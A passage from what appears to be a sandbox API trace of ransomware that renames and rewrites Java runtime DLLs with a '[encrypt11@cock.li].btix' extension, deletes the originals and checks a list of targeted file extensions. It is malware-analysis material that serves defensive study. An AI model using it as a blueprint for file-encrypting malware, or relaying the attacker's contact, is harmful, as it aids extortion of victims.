lpFileSize=0x379ff14*=204864) returned 1 [0151.236] CloseHandle (hObject=0x368) returned 1 [0151.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20 [0151.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.236] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.236] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.236] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.236] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.236] GetLastError () returned 0x0 [0151.237] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x32040, lpOverlapped=0x0) returned 1 [0151.255] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x32050, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x32050, lpOverlapped=0x0) returned 1 [0151.259] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.259] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xf4, lpOverlapped=0x0) returned 1 [0151.259] SetEndOfFile (hFile=0x370) returned 1 [0151.259] CloseHandle (hObject=0x370) returned 1 [0151.259] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.259] SetEndOfFile (hFile=0x368) returned 1 [0151.261] CloseHandle (hObject=0x368) returned 1 [0151.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.261] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 1 [0151.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.261] lstrlenW (lpString=".doc") returned 4 [0151.262] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.262] lstrlenW (lpString=".docx") returned 5 [0151.262] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0151.262] lstrlenW (lpString=".pdf") returned 4 [0151.262] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.262] lstrlenW (lpString=".xls") returned 4 [0151.262] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.262] lstrlenW (lpString=".xlsx") returned 5 [0151.262] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0151.262] lstrlenW (lpString=".ppt") returned 4 [0151.262] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.262] lstrlenW (lpString=".zip") returned 4 [0151.262] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.262] lstrlenW (lpString=".rar") returned 4 [0151.262] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.262] lstrlenW (lpString=".bz2") returned 4 [0151.262] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.262] lstrlenW (lpString=".7z") returned 3 [0151.262] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.262] lstrlenW (lpString=".dbf") returned 4 [0151.262] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.262] lstrlenW (lpString=".1cd") returned 4 [0151.262] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.262] lstrlenW (lpString=".jpg") returned 4 [0151.262] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.262] lstrlenW (lpString=".doc") returned 4 [0151.262] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.262] lstrlenW (lpString=".docx") returned 5 [0151.263] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0151.263] lstrlenW (lpString=".pdf") returned 4 [0151.263] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.263] lstrlenW (lpString=".xls") returned 4 [0151.263] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.263] lstrlenW (lpString=".xlsx") returned 5 [0151.263] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0151.263] lstrlenW (lpString=".ppt") returned 4 [0151.263] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.263] lstrlenW (lpString=".zip") returned 4 [0151.263] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.263] lstrlenW (lpString=".rar") returned 4 [0151.263] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.263] lstrlenW (lpString=".bz2") returned 4 [0151.263] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.263] lstrlenW (lpString=".7z") returned 3 [0151.263] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.263] lstrlenW (lpString=".dbf") returned 4 [0151.263] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.263] lstrlenW (lpString=".1cd") returned 4 [0151.263] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0151.263] lstrlenW (lpString=".jpg") returned 4 [0151.263] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.263] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.263] lstrlenW (lpString="ssv.dll") returned 7 [0151.263] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.264] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=571968) returned 1 [0151.264] CloseHandle (hObject=0x368) returned 1 [0151.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 0x20 [0151.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.264] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.264] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.265] GetLastError () returned 0x0 [0151.265] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x8ba40, lpOverlapped=0x0) returned 1 [0151.603] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x8ba50, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x8ba50, lpOverlapped=0x0) returned 1 [0151.610] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.611] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xe2, lpOverlapped=0x0) returned 1 [0151.611] SetEndOfFile (hFile=0x370) returned 1 [0151.795] CloseHandle (hObject=0x370) returned 1 [0151.795] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.795] SetEndOfFile (hFile=0x368) returned 1 [0151.799] CloseHandle (hObject=0x368) returned 1 [0151.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.853] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 1 [0151.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.853] lstrlenW (lpString=".doc") returned 4 [0151.853] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.854] lstrlenW (lpString=".docx") returned 5 [0151.854] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0151.854] lstrlenW (lpString=".pdf") returned 4 [0151.854] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.854] lstrlenW (lpString=".xls") returned 4 [0151.854] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.854] lstrlenW (lpString=".xlsx") returned 5 [0151.854] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0151.854] lstrlenW (lpString=".ppt") returned 4 [0151.854] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.854] lstrlenW (lpString=".zip") returned 4 [0151.854] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.854] lstrlenW (lpString=".rar") returned 4 [0151.854] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.854] lstrlenW (lpString=".bz2") returned 4 [0151.854] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.854] lstrlenW (lpString=".7z") returned 3 [0151.854] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.854] lstrlenW (lpString=".dbf") returned 4 [0151.854] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.854] lstrlenW (lpString=".1cd") returned 4 [0151.854] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.854] lstrlenW (lpString=".jpg") returned 4 [0151.854] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.854] lstrlenW (lpString=".doc") returned 4 [0151.854] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.854] lstrlenW (lpString=".docx") returned 5 [0151.854] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0151.855] lstrlenW (lpString=".pdf") returned 4 [0151.855] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.855] lstrlenW (lpString=".xls") returned 4 [0151.855] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.855] lstrlenW (lpString=".xlsx") returned 5 [0151.855] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0151.855] lstrlenW (lpString=".ppt") returned 4 [0151.855] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.855] lstrlenW (lpString=".zip") returned 4 [0151.855] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.855] lstrlenW (lpString=".rar") returned 4 [0151.855] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.855] lstrlenW (lpString=".bz2") returned 4 [0151.855] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.855] lstrlenW (lpString=".7z") returned 3 [0151.855] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.855] lstrlenW (lpString=".dbf") returned 4 [0151.855] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.855] lstrlenW (lpString=".1cd") returned 4 [0151.855] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0151.855] lstrlenW (lpString=".jpg") returned 4 [0151.855] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.855] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.855] lstrlenW (lpString="wsdetect.dll") returned 12 [0151.855] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.856] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=192576) returned 1 [0151.856] CloseHandle (hObject=0x368) returned 1 [0151.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0151.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.856] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.856] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.856] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.856] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.858] GetLastError () returned 0x0 [0151.858] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x2f040, lpOverlapped=0x0) returned 1 [0151.865] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x2f050, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x2f050, lpOverlapped=0x0) returned 1 [0151.869] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.869] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.869] SetEndOfFile (hFile=0x370) returned 1 [0151.869] CloseHandle (hObject=0x370) returned 1 [0151.869] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.869] SetEndOfFile (hFile=0x368) returned 1 [0151.871] CloseHandle (hObject=0x368) returned 1 [0151.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.871] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 1 [0151.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.872] lstrlenW (lpString=".doc") returned 4 [0151.872] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.872] lstrlenW (lpString=".docx") returned 5 [0151.872] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0151.872] lstrlenW (lpString=".pdf") returned 4 [0151.872] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.872] lstrlenW (lpString=".xls") returned 4 [0151.872] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.872] lstrlenW (lpString=".xlsx") returned 5 [0151.872] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0151.872] lstrlenW (lpString=".ppt") returned 4 [0151.872] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.872] lstrlenW (lpString=".zip") returned 4 [0151.872] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.872] lstrlenW (lpString=".rar") returned 4 [0151.872] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.872] lstrlenW (lpString=".bz2") returned 4 [0151.872] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.872] lstrlenW (lpString=".7z") returned 3 [0151.872] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.872] lstrlenW (lpString=".dbf") returned 4 [0151.872] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.872] lstrlenW (lpString=".1cd") returned 4 [0151.872] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.872] lstrlenW (lpString=".jpg") returned 4 [0151.872] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.872] lstrlenW (lpString=".doc") returned 4 [0151.873] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.873] lstrlenW (lpString=".docx") returned 5 [0151.873] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0151.873] lstrlenW (lpString=".pdf") returned 4 [0151.873] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.873] lstrlenW (lpString=".xls") returned 4 [0151.873] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.873] lstrlenW (lpString=".xlsx") returned 5 [0151.873] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0151.874] lstrlenW (lpString=".ppt") returned 4 [0151.874] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.874] lstrlenW (lpString=".zip") returned 4 [0151.874] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.874] lstrlenW (lpString=".rar") returned 4 [0151.874] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.874] lstrlenW (lpString=".bz2") returned 4 [0151.874] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.874] lstrlenW (lpString=".7z") returned 3 [0151.874] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.874] lstrlenW (lpString=".dbf") returned 4 [0151.874] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.874] lstrlenW (lpString=".1cd") returned 4 [0151.874] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0151.874] lstrlenW (lpString=".jpg") returned 4 [0151.874] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.874] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.874] lstrlenW (lpString="zip.dll") returned 7 [0151.874] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.875] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=77888) returned 1 [0151.875] CloseHandle (hObject=0x368) returned 1 [0151.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20 [0151.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.875] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.875] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.876] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.876] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.877] GetLastError () returned 0x0 [0151.877] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x13040, lpOverlapped=0x0) returned 1 [0151.893] WriteFile (in: hFile=0x370, 